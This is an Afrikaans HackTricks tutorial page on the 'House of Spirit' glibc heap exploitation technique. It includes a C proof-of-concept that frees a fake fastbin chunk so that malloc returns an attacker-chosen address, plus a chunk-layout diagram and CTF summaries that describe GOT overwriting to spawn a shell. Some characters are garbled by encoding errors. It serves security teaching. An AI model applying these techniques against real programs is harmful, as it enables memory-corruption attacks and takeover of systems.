House of Spirit
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Kode
House of Spirit
```c #include// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf(âOriginal alloc address: %p\nâ, ptr); printf(âMain fake chunk:%p\nâ, &fake_chunks[0]); printf(âSecond fake chunk for size: %p\nâ, &fake_chunks[1]);
// Passes size check of âfree(): invalid sizeâ fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes âfree(): invalid next size (fast)â fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be âfreedâ // Point to .fd as itâs the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf(âVictim: %p\nâ, victim);
return 0; }
</details>
### Doel
- In staat wees om 'n adres in die tcache / fast bin by te voeg sodat dit later moontlik is om dit toe te ken
### Vereistes
- Hierdie aanval vereis dat 'n aanvaller in staat is om 'n paar vals vinnige stukke te skep wat die grootte waarde daarvan korrek aandui en dan in staat wees om die eerste vals stuk vry te stel sodat dit in die bin kom.
### Aanval
- Skep vals stukke wat sekuriteitskontroles omseil: jy sal 2 vals stukke nodig hĂȘ wat basies die korrekte groottes op die korrekte plekke aandui
- Op een of ander manier die eerste vals stuk vrystel sodat dit in die fast of tcache bin kom en dan dit toe te ken om daardie adres te oorskryf
**Die kode van** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is wonderlik om die aanval te verstaan.** Alhoewel hierdie skema van die kode dit redelik goed opsom:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
Note
Let daarop dat dit nodig is om die tweede stuk te skep om ân paar sanity checks te omseil.
Voorbeelde
-
CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
-
Libc infoleak: Deur ân overflow is dit moontlik om ân pointer te verander om na ân GOT adres te wys om ân libc adres via die lees aksie van die CTF te lek.
-
House of Spirit: Deur ân teen te misbruik wat die aantal âgewereâ tel, is dit moontlik om ân vals grootte van die eerste vals stuk te genereer, dan deur ân âboodskapâ te misbruik, is dit moontlik om die tweede grootte van ân stuk te vals en uiteindelik deur ân overflow is dit moontlik om ân pointer te verander wat vrygestel gaan word sodat ons eerste vals stuk vrygestel word. Dan kan ons dit toewys en binne-in daarvan gaan die adres wees waar âboodskapâ gestoor word. Dan is dit moontlik om dit na die
scanfingang binne die GOT tabel te laat wys, sodat ons dit kan oorskryf met die adres na system.
Volgende keer datscanfaangeroep word, kan ons die invoer"/bin/sh"stuur en ân shell kry. -
Glibc leak: OngeĂŻnitialiseerde stapelbuffer.
-
House of Spirit: Ons kan die eerste indeks van ân globale reeks van heap pointers verander. Met ân enkele byte verandering, gebruik ons
freeop ân vals stuk binne ân geldige stuk, sodat ons ân oorvleueling van stukke situasie kry nadat ons weer toewys. Met dit werk ân eenvoudige Tcache vergiftiging aanval om ân arbitrĂȘre skrywe primitief te verkry.
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

